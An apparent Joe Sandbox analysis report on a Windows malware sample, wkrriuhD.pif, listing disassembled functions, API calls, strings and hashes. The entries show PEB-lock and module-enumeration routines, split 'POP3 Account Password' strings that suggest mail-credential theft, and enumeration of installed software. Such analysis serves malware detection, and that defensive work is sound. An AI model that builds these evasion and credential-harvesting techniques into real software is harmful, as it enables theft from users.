Opcode ID: 8c1309cec531426f92d2233474ba08b2f264e448bae47fa13f278ce7c10a4e25
Instruction ID: 1940e927fc56a1b2d018cecce4607e169dde330db61656635eeb830ed6ca67bc
Opcode Fuzzy Hash: 8c1309cec531426f92d2233474ba08b2f264e448bae47fa13f278ce7c10a4e25
Instruction Fuzzy Hash: 0F81947B6043405FD7AAE720DC54AFF77A9AF95302F50492DE086972D0EF24AF09C692

Uniqueness

Uniqueness Score: -1.00%

Function 12337270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Users\Public\Libraries\wkrriuhD.pif,00000001,1233764D,C:\Users\Public\Libraries\wkrriuhD.pif,00000003,12337675,123A52D8,123376CE), ref: 12337284
GetProcAddress.KERNEL32(00000000), ref: 1233728D
GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 123372A2
GetProcAddress.KERNEL32(00000000), ref: 123372A5
GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 123372B6
GetProcAddress.KERNEL32(00000000), ref: 123372B9
GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 123372CA
GetProcAddress.KERNEL32(00000000), ref: 123372CD
GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 123372DE
GetProcAddress.KERNEL32(00000000), ref: 123372E1
GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 123372F2
GetProcAddress.KERNEL32(00000000), ref: 123372F5

Strings

ntdll.dll, xrefs: 12337278, 12337283, 123372A1, 123372B5, 123372C9, 123372DD, 123372F1
RtlAcquirePebLock, xrefs: 123372C4
NtFreeVirtualMemory, xrefs: 123372B0
RtlReleasePebLock, xrefs: 123372D8
RtlInitUnicodeString, xrefs: 1233727E
NtAllocateVirtualMemory, xrefs: 1233729C
LdrEnumerateLoadedModules, xrefs: 123372EC
C:\Users\Public\Libraries\wkrriuhD.pif, xrefs: 12337271

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: C:\Users\Public\Libraries\wkrriuhD.pif$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
API String ID: 1646373207-3749497233
Opcode ID: be103768801afa19bedf7ef3439723dd266a0c089968dd8c18e5972c4c0fd8db
Instruction ID: 04322883a49d478bb1b57bef8bd1398d444112e507df4c466138de3dd3178d4a
Opcode Fuzzy Hash: be103768801afa19bedf7ef3439723dd266a0c089968dd8c18e5972c4c0fd8db
Instruction Fuzzy Hash: 9D0175F2D9633A6EEB076B3A4C94D4B6FDC9E912523064D37F809D2102EE78C401DE60

Uniqueness

Uniqueness Score: -1.00%

Function 1464173A Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 210COMMON

Download Yara Rule

APIs

Part of subcall function 14641CCA: CopyFileW.KERNEL32(?,?,00000000,?,?,?,?,?,?,00000000), ref: 14641D1B
Part of subcall function 14641CCA: CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,00000000), ref: 14641D37
Part of subcall function 14641CCA: DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 14641D4B

_strlen.LIBCMT ref: 14641855
_strlen.LIBCMT ref: 14641869
_strlen.LIBCMT ref: 1464188B
_strlen.LIBCMT ref: 146418AE
_strlen.LIBCMT ref: 146418C8

Strings

un, xrefs: 14641787
word, xrefs: 146417EA
word, xrefs: 146417CD
un, xrefs: 146417B6
Pass, xrefs: 146417C6
t, xrefs: 146417BF
Acco, xrefs: 1464177A
POP3, xrefs: 146417D9
Pass, xrefs: 146417E3
POP3, xrefs: 1464179D
Acco, xrefs: 146417A7
t, xrefs: 14641790

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: _strlen$File$CopyCreateDelete
String ID: Acco$Acco$POP3$POP3$Pass$Pass$t$t$un$un$word$word
API String ID: 3296212668-3023110444
Opcode ID: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
Instruction ID: a79f6efa6a57e815cb9ff726c5aa28013dcf3589525fdd6ead32ed78ec3b4119
Opcode Fuzzy Hash: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
Instruction Fuzzy Hash: CB6135B5F01319EFEF12CBE4C844BDEB7B9AF15208F284056D204B7254EB706A46CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 1234C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 1234C036
_memcmp.LIBVCRUNTIME ref: 1234C04E
lstrlenW.KERNEL32(?), ref: 1234C067
FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 1234C0A2
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 1234C0B5
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 1234C0F9
lstrcmpW.KERNEL32(?,?), ref: 1234C114
FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 1234C12C
_wcslen.LIBCMT ref: 1234C13B
FindVolumeClose.KERNEL32(?), ref: 1234C15B
GetLastError.KERNEL32 ref: 1234C173
GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 1234C1A0
lstrcatW.KERNEL32(?,?), ref: 1234C1B9
lstrcpyW.KERNEL32(?,?), ref: 1234C1C8
GetLastError.KERNEL32 ref: 1234C1D0

Strings

?, xrefs: 1234C0CD

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
String ID: ?
API String ID: 3941738427-1684325040
Opcode ID: 7e210bf982852010391deeb4bceac2a14e486fa02cc38b745c4577cedc56cb00
Instruction ID: f1ea35c76abb9b87f635db7163760eefe63e85b7ac510883b35a15238416bcd0
Opcode Fuzzy Hash: 7e210bf982852010391deeb4bceac2a14e486fa02cc38b745c4577cedc56cb00
Instruction Fuzzy Hash: FD41AD72508386ABD711DF60DC8CAEBB7ECAB94354F100E6AF545C6260EB70D649CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 146419B2 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 218COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 14641A2D
_strlen.LIBCMT ref: 14641A59
_strlen.LIBCMT ref: 14641A77
_strlen.LIBCMT ref: 14641AC0
_strlen.LIBCMT ref: 14641AD3
_strlen.LIBCMT ref: 14641AE0
_strlen.LIBCMT ref: 14641B24
_strlen.LIBCMT ref: 14641B44
_strlen.LIBCMT ref: 14641B67
_strlen.LIBCMT ref: 14641C14
_strlen.LIBCMT ref: 14641C37

Strings

~F@7, xrefs: 14641A16
%m$~, xrefs: 14641A1D
~dra, xrefs: 146419FD
Gon~, xrefs: 14641A07

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: _strlen
String ID: %m$~$Gon~$~F@7$~dra
API String ID: 4218353326-230879103
Opcode ID: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
Instruction ID: 6abd7122bab287562c8caae9ecc3c0f731cb59c75c3f39c77b2c9c4cb12392d4
Opcode Fuzzy Hash: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
Instruction Fuzzy Hash: 16715AB5D012689BDF12DBB48C88ADF7BFC9F15248F3800A6D644E7241E634E785CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 005E20A8 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005E20E1
___free_lconv_mon.LIBCMT ref: 005E20EC

Part of subcall function 005E12E4: _free.LIBCMT ref: 005E1301
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E1313
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E1325
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E1337
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E1349
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E135B
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E136D
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E137F
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E1391
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E13A3
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E13B5
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E13C7
Part of subcall function 005E12E4: _free.LIBCMT ref: 005E13D9

_free.LIBCMT ref: 005E2103
_free.LIBCMT ref: 005E2118
_free.LIBCMT ref: 005E2123
_free.LIBCMT ref: 005E2145
_free.LIBCMT ref: 005E2158
_free.LIBCMT ref: 005E2166
_free.LIBCMT ref: 005E2171
_free.LIBCMT ref: 005E21A9
_free.LIBCMT ref: 005E21B0
_free.LIBCMT ref: 005E21CD
_free.LIBCMT ref: 005E21E5

Strings

{-Y, xrefs: 005E20AA

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free$___free_lconv_mon
String ID: {-Y
API String ID: 3658870901-2507730204
Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
Instruction ID: 34bdb5e0b08a1299267ba867f448d25e9e147060f7045b699592811197840f72
Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
Instruction Fuzzy Hash: 60318E32504346DFDB399B3AE809B5A7BE8FB44310F14845BE588C7251EE30AA80CA15

Uniqueness

Uniqueness Score: -1.00%

Function 1234C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 1234C6B1
RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 1234C6F5
RegCloseKey.ADVAPI32(?), ref: 1234C9BF

Strings

UninstallString, xrefs: 1234C7A4
InstallDate, xrefs: 1234C790
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 1234C6A7
Publisher, xrefs: 1234C751
DisplayName, xrefs: 1234C73C
InstallLocation, xrefs: 1234C77C
DisplayVersion, xrefs: 1234C768

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
API String ID: 1332880857-3714951968
Opcode ID: fd5e4d681d52087b1afcd1d95d589394e7ee2d523ccb08fa54279759c478f94d
Instruction ID: e7c2289b7bea4ee1400fc0c45d248ee15b7157958093b5662c0a208cb4b87265
Opcode Fuzzy Hash: fd5e4d681d52087b1afcd1d95d589394e7ee2d523ccb08fa54279759c478f94d
Instruction Fuzzy Hash: C581FA761083859BD376DB10D890EFFB7E8BF94305F504A2DE58A83150EF34AA49CB92

Uniqueness

Uniqueness Score: -1.00%

Function 005E020F Relevance: 22.9, APIs: 15, Instructions: 419COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005E02A1
_free.LIBCMT ref: 005E02C7
_free.LIBCMT ref: 005E02F0
_free.LIBCMT ref: 005E0328
_free.LIBCMT ref: 005E0359
_free.LIBCMT ref: 005E039A
_free.LIBCMT ref: 005E0434
_wcschr.LIBVCRUNTIME ref: 005E0471
_free.LIBCMT ref: 005E04DD
_free.LIBCMT ref: 005E0503
_free.LIBCMT ref: 005E052C
_free.LIBCMT ref: 005E0561
_free.LIBCMT ref: 005E0592
_free.LIBCMT ref: 005E05D3
_free.LIBCMT ref: 005E0671

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free$_wcschr
String ID:
API String ID: 565560161-0
Opcode ID: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
Instruction ID: 19898082a1f98bed5a5a5c0874f508314217be3d7ebbb75180ec5fbfa3cb8ff8
Opcode Fuzzy Hash: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
Instruction Fuzzy Hash: C3D13671D00341AFDB38AF7AD949A6E7FA4BF05320F04556FEA84A73C1E6B189808B51

Uniqueness

Uniqueness Score: -1.00%

Function 00402E8C Relevance: 22.7, Strings: 18, Instructions: 215COMMON

Download Yara Rule

Strings

mask & TM_IS_PTR, xrefs: 00402FB8
dscPtr->xdArgCopy == 0, xrefs: 00402EE6
(dscPtr->xdMask & TM_IS_PTR) == 0, xrefs: 00402F94
dscPtr->xdHtabAdr == hdtPtr, xrefs: 00402EC9
dscPtr->xdMask & TM_IS_PTR, xrefs: 00402FD5
XX.CPP, xrefs: 0040304D
XX.CPP, xrefs: 00402EE1
dscPtr->xdERRaddr == errPtr, xrefs: 00402EAA
XX.CPP, xrefs: 00402EC4
XX.CPP, xrefs: 00402F8F
XX.CPP, xrefs: 00402FD0
XX.CPP, xrefs: 00402FB3
dscPtr->xdSize == size, xrefs: 0040310E
dscPtr->xdTypeID == dscPtr->xdBase, xrefs: 00403052
XX.CPP, xrefs: 00403109
XX.CPP, xrefs: 0040309C
XX.CPP, xrefs: 00402EA5
hdtPtr->HDcctrAddr, xrefs: 004030A1

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: (dscPtr->xdMask & TM_IS_PTR) == 0$XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$dscPtr->xdArgCopy == 0$dscPtr->xdERRaddr == errPtr$dscPtr->xdHtabAdr == hdtPtr$dscPtr->xdMask & TM_IS_PTR$dscPtr->xdSize == size$dscPtr->xdTypeID == dscPtr->xdBase$hdtPtr->HDcctrAddr$mask & TM_IS_PTR
API String ID: 0-1891739981
Opcode ID: 969f67ffcb5067673063e64fe3796bacbba4f129e949b1f3920271b5ca9efc58
Instruction ID: b0be35119990f9db5c9be0669567bd5358c9fa87076fb98632e1a2023bb73427
Opcode Fuzzy Hash: 969f67ffcb5067673063e64fe3796bacbba4f129e949b1f3920271b5ca9efc58
Instruction Fuzzy Hash: 8481D471D00204BBDB14CF40CD8AB9A7FB5AF64304F1440BAED443A2D6E7BE9A54DB99

Uniqueness

Uniqueness Score: -1.00%

Function 005D6B38 Relevance: 21.3, APIs: 14, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005D6BA8
_free.LIBCMT ref: 005D6BBE
_free.LIBCMT ref: 005D6BCF
_free.LIBCMT ref: 005D6BE0
_free.LIBCMT ref: 005D6BF7

Part of subcall function 005E3C56: _free.LIBCMT ref: 005E3CC1

_free.LIBCMT ref: 005D6DEB
_free.LIBCMT ref: 005D6DFE
_free.LIBCMT ref: 005D6E0C
_free.LIBCMT ref: 005D6E17
_free.LIBCMT ref: 005D6E59
_free.LIBCMT ref: 005D6E61
_free.LIBCMT ref: 005D6E69
_free.LIBCMT ref: 005D6E71
_free.LIBCMT ref: 005D6E7F

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9a1e8def710a50f9e802e5816f878b52a4fdf116ee4a506070fe770fe0ef34d2
Instruction ID: 32107e399c442d431b17f08ea8fc09fa920db9921090263b4ef1c3f31102ad3f
Opcode Fuzzy Hash: 9a1e8def710a50f9e802e5816f878b52a4fdf116ee4a506070fe770fe0ef34d2
Instruction Fuzzy Hash: 27B19D719003069FDB20DF68C885BAEBBF9FF48300F14406BE499A7352D775A946CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00403CF0 Relevance: 20.3, Strings: 16, Instructions: 317COMMON

Download Yara Rule

Strings

dttPtr->dttType->tpMask & TM_IS_PTR, xrefs: 00403D5E
varType->tpClass.tpcFlags & CF_HAS_DTOR, xrefs: 00403E67
XX.CPP, xrefs: 00403ECC
XX.CPP, xrefs: 00403F29
XX.CPP, xrefs: 00403DC2
XX.CPP, xrefs: 00403FAD
dttPtr->dttFlags & (DTCVF_PTRVAL|DTCVF_RETVAL), xrefs: 00403D3C
elemType->tpClass.tpcFlags & CF_HAS_DTOR, xrefs: 00403ED1
IS_CLASS(dttPtr->dttType->tpMask) && (dttPtr->dttType->tpClass.tpcFlags & CF_HAS_DTOR), xrefs: 00403DC7
XX.CPP, xrefs: 00403D7E
XX.CPP, xrefs: 00403D37
dtCnt >= 0, xrefs: 00403FB2
XX.CPP, xrefs: 00403D59
varType->tpMask & TM_IS_PTR, xrefs: 00403F2E
dttPtr->dttType->tpPtr.tppBaseType->tpClass.tpcFlags & CF_HAS_DTOR, xrefs: 00403D83
XX.CPP, xrefs: 00403E62

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: IS_CLASS(dttPtr->dttType->tpMask) && (dttPtr->dttType->tpClass.tpcFlags & CF_HAS_DTOR)$XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$dtCnt >= 0$dttPtr->dttFlags & (DTCVF_PTRVAL|DTCVF_RETVAL)$dttPtr->dttType->tpMask & TM_IS_PTR$dttPtr->dttType->tpPtr.tppBaseType->tpClass.tpcFlags & CF_HAS_DTOR$elemType->tpClass.tpcFlags & CF_HAS_DTOR$varType->tpClass.tpcFlags & CF_HAS_DTOR$varType->tpMask & TM_IS_PTR
API String ID: 0-1768441193
Opcode ID: 4acfe1481d98f6b053f88c73a38a3bcd134e0db91d14c5b2a59e664249bb3ef2
Instruction ID: caf5c84f2d173a05e078e6a7eb0dc506ced428132af286e1606af20b9f92d0a8
Opcode Fuzzy Hash: 4acfe1481d98f6b053f88c73a38a3bcd134e0db91d14c5b2a59e664249bb3ef2
Instruction Fuzzy Hash: E4D18171E002099FDB04CF54C845BAEBFB5AF44314F1885AAEA457B3D2C3799D91CB89

Uniqueness

Uniqueness Score: -1.00%

Function 14647CC2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 14647D06

Part of subcall function 146490BA: _free.LIBCMT ref: 146490D7
Part of subcall function 146490BA: _free.LIBCMT ref: 146490E9
Part of subcall function 146490BA: _free.LIBCMT ref: 146490FB
Part of subcall function 146490BA: _free.LIBCMT ref: 1464910D
Part of subcall function 146490BA: _free.LIBCMT ref: 1464911F
Part of subcall function 146490BA: _free.LIBCMT ref: 14649131
Part of subcall function 146490BA: _free.LIBCMT ref: 14649143
Part of subcall function 146490BA: _free.LIBCMT ref: 14649155
Part of subcall function 146490BA: _free.LIBCMT ref: 14649167
Part of subcall function 146490BA: _free.LIBCMT ref: 14649179
Part of subcall function 146490BA: _free.LIBCMT ref: 1464918B
Part of subcall function 146490BA: _free.LIBCMT ref: 1464919D
Part of subcall function 146490BA: _free.LIBCMT ref: 146491AF

_free.LIBCMT ref: 14647CFB

Part of subcall function 1464571E: HeapFree.KERNEL32(00000000,00000000,?,1464924F,?,00000000,?,00000000,?,14649276,?,00000007,?,?,14647E5A,?), ref: 14645734
Part of subcall function 1464571E: GetLastError.KERNEL32(?,?,1464924F,?,00000000,?,00000000,?,14649276,?,00000007,?,?,14647E5A,?,?), ref: 14645746

_free.LIBCMT ref: 14647D1D
_free.LIBCMT ref: 14647D32
_free.LIBCMT ref: 14647D3D
_free.LIBCMT ref: 14647D5F
_free.LIBCMT ref: 14647D72
_free.LIBCMT ref: 14647D80
_free.LIBCMT ref: 14647D8B
_free.LIBCMT ref: 14647DC3
_free.LIBCMT ref: 14647DCA
_free.LIBCMT ref: 14647DE7
_free.LIBCMT ref: 14647DFF

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 5eefc3bfaceb53b35bf337774b3e85d6d0debe1572487c9785ef6be5db5587fb
Instruction ID: 043c9089dcf2c8a651dbc88f00da8da6807279716be67812734449a61f3b61e0
Opcode Fuzzy Hash: 5eefc3bfaceb53b35bf337774b3e85d6d0debe1572487c9785ef6be5db5587fb
Instruction Fuzzy Hash: 8E318F31611245DFEF229B38D840B66BBE9EF2021DF39442BE949D7651DE39F880CB18

Uniqueness

Uniqueness Score: -1.00%

Function 123812C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 1238130A

Part of subcall function 12380502: _free.LIBCMT ref: 1238051F
Part of subcall function 12380502: _free.LIBCMT ref: 12380531
Part of subcall function 12380502: _free.LIBCMT ref: 12380543
Part of subcall function 12380502: _free.LIBCMT ref: 12380555
Part of subcall function 12380502: _free.LIBCMT ref: 12380567
Part of subcall function 12380502: _free.LIBCMT ref: 12380579
Part of subcall function 12380502: _free.LIBCMT ref: 1238058B
Part of subcall function 12380502: _free.LIBCMT ref: 1238059D
Part of subcall function 12380502: _free.LIBCMT ref: 123805AF
Part of subcall function 12380502: _free.LIBCMT ref: 123805C1
Part of subcall function 12380502: _free.LIBCMT ref: 123805D3
Part of subcall function 12380502: _free.LIBCMT ref: 123805E5
Part of subcall function 12380502: _free.LIBCMT ref: 123805F7

_free.LIBCMT ref: 123812FF

Part of subcall function 12376782: RtlFreeHeap.NTDLL(00000000,00000000,?,12380C6F,?,00000000,?,00000000,?,12380F13,?,00000007,?,?,1238145E,?), ref: 12376798
Part of subcall function 12376782: GetLastError.KERNEL32(?,?,12380C6F,?,00000000,?,00000000,?,12380F13,?,00000007,?,?,1238145E,?,?), ref: 123767AA

_free.LIBCMT ref: 12381321
_free.LIBCMT ref: 12381336
_free.LIBCMT ref: 12381341
_free.LIBCMT ref: 12381363
_free.LIBCMT ref: 12381376
_free.LIBCMT ref: 12381384
_free.LIBCMT ref: 1238138F
_free.LIBCMT ref: 123813C7
_free.LIBCMT ref: 123813CE
_free.LIBCMT ref: 123813EB
_free.LIBCMT ref: 12381403

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: d1c232a5e105c50b64f1f14b8965ff2b4e2fd8ea295d90f08443632446ef1733
Instruction ID: 2cf2ac235a0be6ecf7b707952adbdd24e0f391734ff302e52007910b133f6ca3
Opcode Fuzzy Hash: d1c232a5e105c50b64f1f14b8965ff2b4e2fd8ea295d90f08443632446ef1733
Instruction Fuzzy Hash: D1315B376003429FEF618E39D844BAAB7E8EF00355F508719E4A9DB550DBB4FE80AB50

Uniqueness

Uniqueness Score: -1.00%

Function 005E13E2 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005E142A
_free.LIBCMT ref: 005E144E
_free.LIBCMT ref: 005E145B
_free.LIBCMT ref: 005E1480
_free.LIBCMT ref: 005E148D
_free.LIBCMT ref: 005E1496
_free.LIBCMT ref: 005E1774
_free.LIBCMT ref: 005E177C

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
Instruction ID: 9a7b15480de923ac119c52a58efeeffc2b49b486bc786284624e60808491fda7
Opcode Fuzzy Hash: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
Instruction Fuzzy Hash: BBC144B2E40249BFDB24DBA9CC4AF9E7BF8AF48700F154155FA44FB282D6709E418B54

Uniqueness

Uniqueness Score: -1.00%

Function 12380600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 12380648
_free.LIBCMT ref: 1238066C
_free.LIBCMT ref: 12380679
_free.LIBCMT ref: 1238069E
_free.LIBCMT ref: 123806AB
_free.LIBCMT ref: 123806B4
_free.LIBCMT ref: 12380992
_free.LIBCMT ref: 1238099A

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 34cca50c01e418f6f2dde033ad17383b0ed3adbea409df2de9947d109e0ebe25
Instruction ID: 58ceff5e268c914a97f163e098ac4c176e75af0bc6b5fe2cdf4ff2c4dd50e379
Opcode Fuzzy Hash: 34cca50c01e418f6f2dde033ad17383b0ed3adbea409df2de9947d109e0ebe25
